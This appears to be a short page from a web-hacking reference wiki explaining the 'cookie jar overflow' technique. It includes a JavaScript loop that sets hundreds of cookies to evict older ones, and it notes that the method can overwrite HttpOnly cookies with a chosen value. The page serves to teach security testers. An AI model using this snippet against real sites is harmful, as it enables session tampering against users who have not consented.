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23 lines
926 B
Markdown
23 lines
926 B
Markdown
# Cookie Jar Overflow
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The browsers have a **limit on the number of cookies** that they can store for a page. Then, if for some cause you need to **make a cookie disappear**, you can **overflow the cookie jar** as the oldest ones will be deleted before:
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```javascript
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// Set many cookies
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for (let i = 0; i < 700; i++) {
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document.cookie = `cookie${i}=${i}; Secure`;
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}
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// Remove all cookies
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for (let i = 0; i < 700; i++) {
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document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
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}
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```
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Notice, that third party cookies pointing to a different domain won't be overwritten.
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{% hint style="danger" %}
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This attack can also be used to **overwrite HttpOnly cookies as you can delete it and then reset it with the value you want**.
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Check this in [**this post with a lab**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
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{% endhint %}
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